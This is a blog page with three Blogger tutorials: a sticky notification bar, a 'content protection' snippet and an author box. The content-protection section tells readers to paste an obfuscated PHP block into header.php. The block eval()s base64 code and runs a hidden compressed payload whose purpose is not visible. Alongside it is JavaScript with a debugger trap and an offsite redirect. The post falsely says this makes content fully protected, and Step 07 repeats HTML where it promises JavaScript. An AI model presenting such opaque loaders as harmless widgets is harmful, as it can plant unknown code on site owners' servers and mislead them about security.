How to Add Sticky Notification Bar to Blogger

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest Article About Sticky Notification Bar in to Blogger. This is an amazing widget in Blogger and increase Bounce Rate of your website. Notification bar is used to highlight the important things on a blog toward we want to attract the visitor attention most. You put some links there in it to showcase them to your visitors and the notification bar scrolls down to the page as a sticky bar on the top of the page so that any visitor of your blog can't really miss it.



The Hello Bar comes with a bunch full of great features and includes a show hide button which lets users hide the notification bar if it irritates or simply if they are already aware of those important things. The major downfall of Hell Bar for Blogger is to includes the link back to their website on the top left which will distract the visitors attention to your blogger blog.

Features of Our Sticky Notification Bar

  • Integration of FontAwesome Icons
  • Neat and Clean Professional Looking Design 
  • Show Hide Button on the right side of the notification Bar
  • Easy To Customization it's Colors
  • Easy Step's to Setup 
  • Super Lightweight and Loads very Fast
  • Stay on top of the page even if the user scrolls the page down
  • Responsive Design and Looks Very Beautiful


How to Add Sticky Notification Bar in to Blogger Bloge



Step 01: Fist of all LogIn to Your Blogger Blog

Step 02: Go To Template Setting and Click on  Edit HTML

Setp 03: Click Inside the template code box and save a backup first

Step 04: Search for the code line <head> and just below it paste the following FontAwesome icons CSS link given below
<link href='http://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css' rel='stylesheet'/>
 Also add the Google JavaScript Library Link just below it if not already added to your blog (rare Case) so please check it first and avoid adding same links again.
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'/>
Step 05: Now search for the ]]></b:skin> code line and just before that, paste the whole CSS code given below.

/*--------------------------------------------------------------
  Sticky Notification Bar For Blogger
  Designed by: GetWebInfo.Com
  Sticky Code By: https://www.getwebinfo.com/
--------------------------------------------------------------*/
#twistBlogger_NotificationBar_wrap {
  margin:0;
  padding:0;
  position:relative;
  width:100%;
  z-index:9999999;
}
.twistBlogger_NotificationBar {
  color: #fff;
  position: relative;
  background: #595959; /*--Change Background Color Here--*/
  width: 100%;
  padding: 0;
  text-align: center;
  font-family: Arial Black, sans-serif;
  text-shadow: 0px -1px 0px #000;
  margin: 0px auto;
  height: 40px;
  box-shadow: 0px 1px 5px #616161;
}
.twistBlogger_NotificationBar label:hover {
  cursor: pointer;
}
.twistBlogger_NotificationBar label {
  text-align: center;
  background: #FF5353; /*--Change Button Background Color Here--*/
  color: #FFF;
  border: 0;
  font-family: fontawesome;
  text-shadow: 0px -1px 0px #EC0000;
  font-size: 26px;
  -webkit-transition: 0.3s all ease-in-out;
  -moz-transition: 0.3s all ease-in-out;
  -ms-transition: 0.3s all ease-in-out;
  -o-transition: 0.3s all ease-in-out;
  transition: 0.3s all ease-in-out;
  position: relative;
  transition-delay: 0s;
  margin-top: 0;
  float: right;
  height: 35px !important;
  width: 30px;
  overflow: hidden !important;
  z-index: 9999;
  padding-top: 5px;
}
input.TwistBlogger_ShowHideButtonBar:checked + label {
  transform-origin: 12% 50% !important;
  transform: translateY(0px) rotateX(190deg);
  -webkit-transform: translateY(0px) rotateX(190deg);
  -moz-transform: translateY(0px) rotateX(190deg);
  -ms-transform: translateY(0px) rotateX(190deg);
  -o-transform: translateY(0px) rotateX(190deg);
  -webkit-transition-delay: 0.3s;
  -moz-transition-delay: 0.3s;
  -ms-transition-delay: 0.3s;
  -o-transition-delay: 0.3s;
  transition-delay: 0.3s;
  margin-top: 47px;
  border: 0;
}
input.TwistBlogger_ShowHideButtonBar ~ .twisteBlogger_ContentArea {
  position: relative;
  overflow: hidden;
  height: 40px;
  -webkit-transition: 0.5s all ease-in-out;
  -moz-transition: 0.5s all ease-in-out;
  -ms-transition: 0.5s all ease-in-out;
  -o-transition: 0.5s all ease-in-out;
  transition: 0.5s all ease-in-out;
}
input.TwistBlogger_ShowHideButtonBar:checked ~ .twisteBlogger_ContentArea {
  margin-top: -50px;
}
input.TwistBlogger_ShowHideButtonBar {
  display: none;
}
/*--Change FontAwesome Icons Style Here--*/
.twisteBlogger_ContentArea .fa {
  font-size: 16px;
  font-weight: normal;
  color: #FFFFFF;
  font-family: FontAwesome;
  border-bottom: 1px solid #FFFFFF;
  margin-right: 5px;
}
.twisteBlogger_ContentArea ul {
  margin: 0;
  padding: 0;
  list-style: none;
  list-style-type: none;
  height: 100%;
}
.twisteBlogger_ContentArea ul > li {
  list-style: none;
  font-size: 14px;
  font-weight: bold;
  font-family: sans-serif;
  text-decoration: none;
  padding-top: 10px;
  margin-right: 10px;
  display: inline-block;
}
.twisteBlogger_ContentArea ul > li > a {
  color: #FFD946;   /*--Change Links Color Here--*/
  text-decoration: none;
  font-family: cursive;
  font-weight: normal;
  -webkit-transition: all 0.4s ease-in-out;
  -moz-transition: all 0.4s ease-in-out;
  -ms-transition: all 0.4s ease-in-out;
  -o-transition: all 0.4s ease-in-out;
  transition: all 0.4s ease-in-out;
}
.twisteBlogger_ContentArea ul > li > a:hover {
  color: #EFCB41 !important;  /*--Change Links Hover Color Here--*/
}
.bs_sticking {
  position:fixed !important;
  width: 100% !important;
}
@media only screen and (max-width:479px) {
#twistBlogger_NotificationBar_wrap, .twistBlogger_NotificationBar {
  display: none !important;
}
}
Step 06: This Time Search for Opening tag <body> and just below it paste the whole HTML code given below after making the required changes.

<div id='twistBlogger_NotificationBar_wrap'>
<div class='twistBlogger_NotificationBar'>
  <input class='TwistBlogger_ShowHideButtonBar' id='tbn' type='checkbox'/>
  <label for='tbn'><i class='fa fa-chevron-circle-up'/></label>
  <div class='twisteBlogger_ContentArea'>
  <ul>
  <li>
<i class='fa fa-signal'/> Trending: <a href='#Your-Link1'>Floating Social Media Buttons Bar</a>
</li>
  <li>
<i class='fa fa-fire'/> Hot: <a href='#Your-Link2'>TwistBlogger | Blogger Tutorisls</a>
</li>
  <li>
<i class='fa fa-rss'/> Rss: <a href='#Your-Link3'> Subscribe to RSS </a>
</li>
</ul>
  </div>
</div>
</div>
Note: I have Highlighted above HTML code in different colors. You have to edit it according to your needs. So read below carefully to make changes easily on to your own demand.

Step 07: Now for last time, search for the ending </body> tag and just before that paste the JavaScript Code given below as it is. 
 <div id='twistBlogger_NotificationBar_wrap'>
<div class='twistBlogger_NotificationBar'>
  <input class='TwistBlogger_ShowHideButtonBar' id='tbn' type='checkbox'/>
  <label for='tbn'><i class='fa fa-chevron-circle-up'/></label>
  <div class='twisteBlogger_ContentArea'>
  <ul>
  <li>
<i class='fa fa-signal'/> Trending: <a href='#Your-Link1'>Floating Social Media Buttons Bar</a>
</li>
  <li>
<i class='fa fa-fire'/> Hot: <a href='#Your-Link2'>TwistBlogger | Blogger Tutorisls</a>
</li>
  <li>
<i class='fa fa-rss'/> Rss: <a href='#Your-Link3'>Subscribe to RSS</a>
</li>
</ul>
  </div>
</div>
</div>
Now Finally Save your Blogger Template and Click on to your Blog link and see your notification bar live. If you are facing any kind of problem or found any bug then please fell free to poke me and I'll do my best.

I Hope this article is really helpful for you if you like this article so please share it on Social Media with your Friends. Thanks for Reading my Article.!!!!!

How to Protect Your Content From Being Copied

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest Article about Copyright Content Issue. Every one Should be given the Credit of their work but today most of us take use of someone else efforts without giving them credits very big example is the software that we use on our computer devices. Content scraping still haunts the entire blogosphere. No matter how hard you try to defent your creation, content thieves will always find a way to steal it.



It really feels terrible to find exact copies of your original work distributed all over the internet, often without any credit or link back to your blog as the source. The most frustrating part is when you find the copied content outranking your own blog in the search engines. It is a very big issue most of the website creators do not write their on content instead of hat they copy content from other website and use their content without giving them credit. This is not a good thing. We should have to give credit to the actual owner of that content.

Protect Your Blog Content 

There are a few different ways you can protect your blog content.

1. Disable text selection on your blog

This is the first and most essential step to discourage direct copying of your content. Users of the Blogger platform can disable text selection from their blogs by manually installing some JavaScript Codes that can i will give you on this post also. You can implement them before the closing <head> tag in the HTML of their blog.

2. WaterMark your Blog Post Images

It's important to watermark all the original images you have created for use on your blog. A watermark proves that you are the owner of the copyright to all those images. Moreover watermarks discourage others from using your photos and illustrations their blog, since they had your blog's name all over theirs.Although there are many watermarking utilities available on the internet, I generally prefer to use windows live writers in built watermark plugin.

3. Manage Your RSS Feeds

A few months ago, I encountered a terrible content scraper who, I think was using content scraping software and publishing my posts under several different permalinks. Sounds scary, right? This software basically scans your main content and republishes your posts within the main keywords replaced by synonyms.


Protect Your Content From Being Copied

Using This CSS Code

Using CSS you can completely protect your website content from being copied but using CSS code you can disable selection of text of your website for that you can use the code provided below.

<style>
body,*{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}
</style>

Using This JavaScript Code

Using JavaScript you can completely protect your website content if it is viewed online but if the user is viewing your article offline or if JavaScript is disabled on users web broswer then this JavaScript code will not work. Using JavaScript you can disable content menu or right click and also you can disable text selection and many other things using JavaScript. You can use the code that i can provided you below.

<script>
var image_save_msg="You Can Not Save images!",no_menu_msg="Context Menu disabled!",smessage="Double Click & Long Click is Disabled.",keypressmessage="You are not allowed to copy content or view source";function disableEnterKey(e){var n;if(e.ctrlKey)return 97!=(n=window.event?window.event.keyCode:e.which)&&73!=n&&99!=n&&120!=n&&26!=n&&85!=n&&83!=n&&43!=n||(alert(keypressmessage),!1)}function disable_copy(e){var n=e.target.nodeName,t=/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor);if("TEXT"!=(n=n.toUpperCase())&&"TEXTAREA"!=n&&"INPUT"!=n&&"PASSWORD"!=n&&"SELECT"!=n&&"OPTION"!=n&&"EMBED"!=n)return""!==smessage&&2==e.detail&&alert(smessage),!!t}function disable_copy_ie(){var e=window.event.srcElement.nodeName;return"IMG"==(e=e.toUpperCase())?(alert(image_save_msg),!1):("TEXT"==e||"TEXTAREA"==e||"INPUT"==e||"PASSWORD"==e||"SELECT"==e||"OPTION"==e||"EMBED"==e)&&void 0}function reEnable(){return!0}function disableSelection(e){void 0!==e.onselectstart?e.onselectstart=disable_copy_ie:void 0!==e.style.MozUserSelect?e.style.MozUserSelect="none":e.onmousedown=function(){return!1},e.style.cursor="default"}document.onkeydown=disableEnterKey,document.onselectstart=disable_copy_ie,-1==navigator.userAgent.indexOf("MSIE")&&(document.onmousedown=disable_copy,document.onclick=reEnable),window.onload=function(){disableSelection(document.body)},document.ondragstart=function(){return!1},document.oncontextmenu=function(e){return alert(no_menu_msg),!1};!function t(){try{!function t(n){1===(""+n/n).length&&0!==n||function(){}.constructor("debugger")(),t(++n)}(0)}catch(n){setTimeout(t,5e3)}}();$("img").mousedown(function(){return false;});if(navigator.onLine != true){window.location.href="https://www.softwebtuts.com"}
</script>

Using PHP Code 

PHP is one of the advanced programming language used to develop websites. Using PHP you can completely protect your website content whether it is viewed online or offline.
<?php /* Reverse engineering of this file is strictly prohibited. Checksum: 59a10705f866f227059f4ea7c866015e */ $I11l1lIllI=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gT08wTzAwTzBPTygkYSwkYil7JGM9YXJyYXkoODYwLDMyNCwzMiwyNTM4KTskaz1nemluZmxhdGUoYmFzZTY0X2RlY29kZSgiS3lyTlRjb3NLUVlBIikpOyRPME8wPSRrWzZdLiRrWzFdLiRrWzNdLiRrWzZdLiRrWzVdLiRrWzBdOyRPMD0iJGtbNV0ka1swXSRrWzRdJGtbMl0iO2lmKCRiPT0xNzApeyRkPSRPME8wKCRhLCRjWzBdKyRjWzFdLCRjWzJdKTt9ZWxzZWlmKCRiPT04KXskZD0kTzBPMCgkYSwkY1swXSwkY1sxXSk7fWVsc2VpZigkYj09MTIpeyRkPSRPMCgkTzBPMCgkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO0O00O0OO($I11l1lIllI[0],8)));eval(IlIlllll1I(OO0O00O0OO($I11l1lIllI[0],12),OO0O00O0OO($I11l1lIllI[0],170),$I11l1lIllI));__halt_compiler();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

Complete Code for Your Blogger Bloge

So now if you completely want to protect content of your website you can use the code provided below. It is the sum of all the codes provided above. You have to paste this code in the header section of your website.

<style>
body,*{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}
</style>
<script>
var image_save_msg="You Can Not Save images!",no_menu_msg="Context Menu disabled!",smessage="Double Click & Long Click is Disabled.",keypressmessage="You are not allowed to copy content or view source";function disableEnterKey(e){var n;if(e.ctrlKey)return 97!=(n=window.event?window.event.keyCode:e.which)&&73!=n&&99!=n&&120!=n&&26!=n&&85!=n&&83!=n&&43!=n||(alert(keypressmessage),!1)}function disable_copy(e){var n=e.target.nodeName,t=/Safari/.test(navigator.userAgent)&&/Apple Computer/.test(navigator.vendor);if("TEXT"!=(n=n.toUpperCase())&&"TEXTAREA"!=n&&"INPUT"!=n&&"PASSWORD"!=n&&"SELECT"!=n&&"OPTION"!=n&&"EMBED"!=n)return""!==smessage&&2==e.detail&&alert(smessage),!!t}function disable_copy_ie(){var e=window.event.srcElement.nodeName;return"IMG"==(e=e.toUpperCase())?(alert(image_save_msg),!1):("TEXT"==e||"TEXTAREA"==e||"INPUT"==e||"PASSWORD"==e||"SELECT"==e||"OPTION"==e||"EMBED"==e)&&void 0}function reEnable(){return!0}function disableSelection(e){void 0!==e.onselectstart?e.onselectstart=disable_copy_ie:void 0!==e.style.MozUserSelect?e.style.MozUserSelect="none":e.onmousedown=function(){return!1},e.style.cursor="default"}document.onkeydown=disableEnterKey,document.onselectstart=disable_copy_ie,-1==navigator.userAgent.indexOf("MSIE")&&(document.onmousedown=disable_copy,document.onclick=reEnable),window.onload=function(){disableSelection(document.body)},document.ondragstart=function(){return!1},document.oncontextmenu=function(e){return alert(no_menu_msg),!1};!function t(){try{!function t(n){1===(""+n/n).length&&0!==n||function(){}.constructor("debugger")(),t(++n)}(0)}catch(n){setTimeout(t,5e3)}}();$("img").mousedown(function(){return false;});if(navigator.onLine != true){window.location.href="https://www.softwebtuts.com"}
</script>
<?php /* Reverse engineering of this file is strictly prohibited. Checksum: 59a10705f866f227059f4ea7c866015e */ $I11l1lIllI=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gT08wTzAwTzBPTygkYSwkYil7JGM9YXJyYXkoODYwLDMyNCwzMiwyNTM4KTskaz1nemluZmxhdGUoYmFzZTY0X2RlY29kZSgiS3lyTlRjb3NLUVlBIikpOyRPME8wPSRrWzZdLiRrWzFdLiRrWzNdLiRrWzZdLiRrWzVdLiRrWzBdOyRPMD0iJGtbNV0ka1swXSRrWzRdJGtbMl0iO2lmKCRiPT0xNzApeyRkPSRPME8wKCRhLCRjWzBdKyRjWzFdLCRjWzJdKTt9ZWxzZWlmKCRiPT04KXskZD0kTzBPMCgkYSwkY1swXSwkY1sxXSk7fWVsc2VpZigkYj09MTIpeyRkPSRPMCgkTzBPMCgkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO0O00O0OO($I11l1lIllI[0],8)));eval(IlIlllll1I(OO0O00O0OO($I11l1lIllI[0],12),OO0O00O0OO($I11l1lIllI[0],170),$I11l1lIllI));__halt_compiler();gEEvl26qPFgS7KKwF29G7hR5IBctRIyqrcM3iYNargJcd3eVLsbwJ60s9AFVMpuzo1kQ1HCjjefH5KkqhX1ke4OWtj6obDDTCYrWuzp5xCuGUsf7mIy8ixwUPnaWYoIWZ1bmN0aW9uX2V4aXN0cygiSWxJbGxsbGwxSSIpKXtmdW5jdGlvbiBJbElsbGxsbDFJKCRhLCRiLCRjKXskZD1pbXBsb2RlKCRjKTskZD1wcmVnX3JlcGxhY2UoIi9fX2hhbHRfY29tcGlsZXIuKi8iLCIiLCRkKTtpZigkYj09aGFzaCgibWQ1IiwiJGQiKSl7cmV0dXJuKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRhKSkpO31lbHNle2RpZSgiPHR0Pm1kNSBDb2RlIG1hbmlwdWxhdGlvbiBkZXRlY3RlZDwvdHQ+Iik7fX19a00f3e4a8d28e1fc47212249fecc4a0c3VjdbtvGEr434HeYsi5I1jYlOU1xIJE6cBU6duNYguykKOqChz8raRuKZJdLK0KUuz5J7/oafZQ+SWeWlETJ0kmKtDelQ4mcnZ355n+Vw4PDg8//kQvlgh/xOEj/+OVXuE1HcuYLBp9+Kckbl1e762S8as/by/vklpy4YQELuumvlISfZAs0ylUllJ6JYandqwR49AXlvkoysv4PFg21UMlVzPe0gp9w763fFuAt8PYaxOURb7kddNRHMu6XchdgKJiGt0KrEJuKZpZKam8lC32U/6rtC1CcizVehHPiLQgUfnnkgwU+ISQFtAHKLcs3UkpPC/VakdW+UhLxP47c33Mpub00mws+nkj4/Tc4a7aewkTKrN1olElohekUTsGPY1BcOQiWM/HAIqSexzGDIQsnksFDKgI28WPJEiX4H7n0Q6y7xpcAr93h7VX/BlpWCxAItL6yWmeWgg9fNhQXOu7WvXs1wOVBzPycwSiN43QGcsIArZqyRIL0xznSBQRMSiagSCImcuknEU/GhwfkpaMHX3iJP8UadECfyGnssSRMkc+LfOnrHUBVqAnuLoeuC8+uLi7coXtzB6/Pr1+5t5WQUZGEpZQtIbhfXR8jJOIP+5DwBxL0MULCiS/8EI3NvQx3xjwhTK1WqwJCQm76d24bXha5RMdAwkKW577g8RxQEc95gHEP5vCkcvRFfwjP3G9ePX9+dfMc+jfX37cVDnc4xJWhO+gP78qVwwMmRCo8wbJUSPSx4Xol1wJc77vz4Q3x0fPgfHjrqicEc9Vzzc7jvU0iKgS9S7f3Atyb11fD/s1LtPnwgI/AgAc0k6eJh/HOsI0a2SSrSIZ5AvpXVlM3wYYmmPCu9E/EmaHZmWDd+0T9STvoKoh2I+i2YXA5ANwGmDNjwXxKGk5F8XPBBYs+0wjSe0LFR8ZOX38BT+AzB5qVxg/pu98TsF3kzl+J3RoplUrNdWXZlN7gCfdyJg19yqapmKOWKZc6eu60pZsdwCVP8ikr6bV4wHf94YtSRBp4WFACZWyk/Yr10r0euMPDA6oQiYGBOptxFBSjEROm8tU4TgM/Xldkp05cVdgGdVkyiqhSQmBxG80TaJnroB+RMnSqZueh4Bn2hXnGnHtNsrey8ZP/4Jfkew1iPxkX/pgWv63Ruyv0mrVGYmlGbr5DtMCd5klaSEfXO7GTWzFLxnLSwcZjdLgdd/ix88R8hwzHzq0UmNrWSKTTHka4h8AMTN2cXSXSyK28CHIpDH5yZp60vjbNzvsoDQvqZdZMcMkMFIJEu1Ei62qdykKkU9bUsSHUpSctzIb7ZGvXexbn7N/koTGTbszo8Zv5VWToiGSZH5ammxZPEiYu715eO6hovxO1LZfrNkoBHjkb8rp2A1+6Ojl2y+QPOp4+SFmG+j7J6ai6UxdmoTCan+VwB7IV3LLUYBcvIO+QUctkgBHBHsPI+ZCOcIxi3xtx7Cb4jR7nocQek4l0wgP0SmTtFXhBm5BRMmxfETWjcHUIif0ZYIHS8gOPcFVNZIh5yJKc7ZfZm7DwTV5M25he0+ipofLVtLTd/I1d5K2oFgnLQz9jlCY/5V71spSrmyquSsjn/0eKbr+dZl39+OOkUf++PO+92IZGBbKRNFQmO2zY7prb6/RY0pK0Sik8SdjLl65K5FzOY+ZoYRqnoj2boBWdwA/fjEWKsWjjkOtkfkTno/ZZM3vboWQ89WM+TtoYI5xHmPkSRWFKpMm4awd83L3Aabmsf2SV81UC5SgeuKQcWo6qOcgULfFpUFEy3ypsFtiB6NINlwx/ENGPIjrJ2T4e4gRWtqN5AZbBG20i2MjRqlPsbDazSlmn64KhQ21D22Go1uUJ4i4U0BwmdFrcgQXHIszTQsCMBRCIdIYnYrvhdy0c2WgtVnNle4McodqA3Vg5WVcREEwWIgGjio61ishqLK8a5jKqcIR6q5n1qaNwSdx1ilgmDeVGCZYUO1DI0X+8iBEYAylmbYlmNgafS87yXWt5xkLux6Qtf7YlgY7fZBuyNjv0bVM7QXGVwUQ7Pl7P6gl7i6yIAx8MPIdFJOqHI/4jDvSqUatBXzKSDetBT/slm2ZkDalQSKDav9pe40IkdOCM/RBL9ws6+eCtFuvM1XBNKY60ZumWXi3Xh+gWq2FUdhJS03HwRPJfxK03dQsXZFpkmYo62YG2tQ3YRQazrm1jfGzjPyb8Z02LTFDnhH2MHjE+vfgw46mS+GwnY61dHTvY9sJJkbzx8gzrX2X9ya7kOwFNLwfm5m5qkhsdbwuJ9uiH2XHVI6uQrdBVhVe1ws1K25eqqAlF/FzgyPJU10DteFL2ev2Xg/O7KrsqwRQjUW3xhfDn3ijmmYEdylMYJR5A89gnfZ6kxmLQFPZuB27v6vy6d4m/ezZ1mebjllAbIVhGVXZv1mxZV0d4ruoccXuZaVR0qpyWKblZTvVqWiU4VROxOehRc5XJG6m8Lqbl7uVmSv+de8DCetpTA1sloNYw/x+RKi0q4XcFFo86bv8CTrGFRjRy1HGF/n/gTw

Note:  Blogger users can only use CSS and JavaScript codes but if you are a wordpress user then you have to create a separate PHP file by pasting PHP code provided above and include it in the header.php file of your website.

After adding the code in to your website now your website content is fully protected and no one will be able to copy the content of your website.

I Hope this Article is really helpful for you if you like this Article so please share it on Social Media with your friends. If you have any issue so please comment on this post i will reply you as soon as possible and Thanks For Reading!!!!!

How to Add Author Info Box Widget in Blogger

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest Article About Author Box widget in Blogger. This is a important part of any website in blogger. If you can add a author box under every post in blogger so it can increase Bounce rate and google will automatically increase your bloge page ranking. If you are looking for a professional multiple author info box widget in blogger then today i come up with the author box widget that you must have in addition to increase your blog design and authority. This widget automatically fetch blogger info like profile image. Introduction so you don't have to add additional info for you and your guest author.



First of all go to your Blogger Info Page and add your blog description. You can upload your Blogger profile image in this section and also add your blogger information like what is the name of your blogger and description also. You can add your blog description in Addition Information> Introduction Section.

Author Box Feature 


  • Multiple Authors Support
  • Auto Pic Information from Blogger Profile
  • Professional Look
  • Shor Codes ( Does Not effect on to your blogger loading speed)
  • Simple CSS desingn
  •    Very Easy to install and Customization 
  • Suits to Your Template

Install Author Box Widget in To Blogger



Step 01: First of all Login to your Blogger Blog

Step 02: Search for ]]></b:skin> the following code by pressing CTRL+F 

Step 03: Now just above this code add following CSS Code


 /* Multiple Author Box CSS Code*/
.authorboxwrap{background:#fff;margin:10px auto 20px;padding:20px;overflow:hidden;border-top:4px solid #bdc3c7;}
.avatar-container{float:left;padding:10px;margin:0 20px 0 0;background:rgba(0,0,0,0.07);border-radius:100%}
.avatar-container img{width:90px;height:auto;max-width:100%!important;border-radius:100%;transition:all .3s;}
.avatar-container img:hover{transform:rotate(-15deg)}
.author_description_container h4{font-size:18px;font-weight:600;display:block;margin:0;margin-bottom:2px}
.author_description_container h4 a{color:#333}
.author_description_container p{margin:0;color:#333;font-size:16px;margin-bottom:8px;line-height:25px;font-weight:400}
.social-links li{list-style:none!important;float:left}
.social-links a{border-bottom:none}
.social-links a:after,.social-links a:before{content:none!important}
.social-links li a{background:rgba(0,0,0,0.5);color:#fff;font-size:13px;text-align:center;display:inline-block;padding:0;margin:0 10px 0 0;width:30px;height:30px;line-height:30px;border-radius:100%}
.social-links li:nth-child(1) a{background:#516ca4;}
.social-links li:nth-child(2) a{background:#00c3f3;}
.social-links li:nth-child(3) a{background:#f20000;}
.social-links li a:hover{opacity:.9;color:#fff}
/* Multiple Author Box CSS Code*/

Step 04: Now find <div class='post-footer'> and just above it paste the following piece of HTML code.

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div class='authorboxwrap'>
<div class='authorboxfull'>
<div class='avatar-container'>
<a href=''>
<img class='author_avatar' expr:alt='data:post.author' expr:src='data:post.authorPhoto.url' height='90' width='90'/>
</a>
</div>
<div class='author_description_container'>
<h4><a href='#' rel='author'><data:post.author/></a>
<i class='fa fa-check-circle' style='color:rgb(17,143,249);font-size:14px;' title='Verified Author'/></h4>
<p><data:post.authorAboutMe/><b/>
</p>
<div class='social-links'>
<li><a class='external external-link' href='#' rel='nofollow' target='_blank'><i class='fa fa-facebook'/></a></li>
<li><a class='external external-link' href='#' rel='nofollow' target='_blank'><i class='fa fa-twitter'/></a></li>
<li><a class='external external-link' href='#' rel='nofollow' target='_blank'><i class='fa fa-youtube'/></a></li>
<div class='clr'/>
</div>
</div>
</div>
</div>
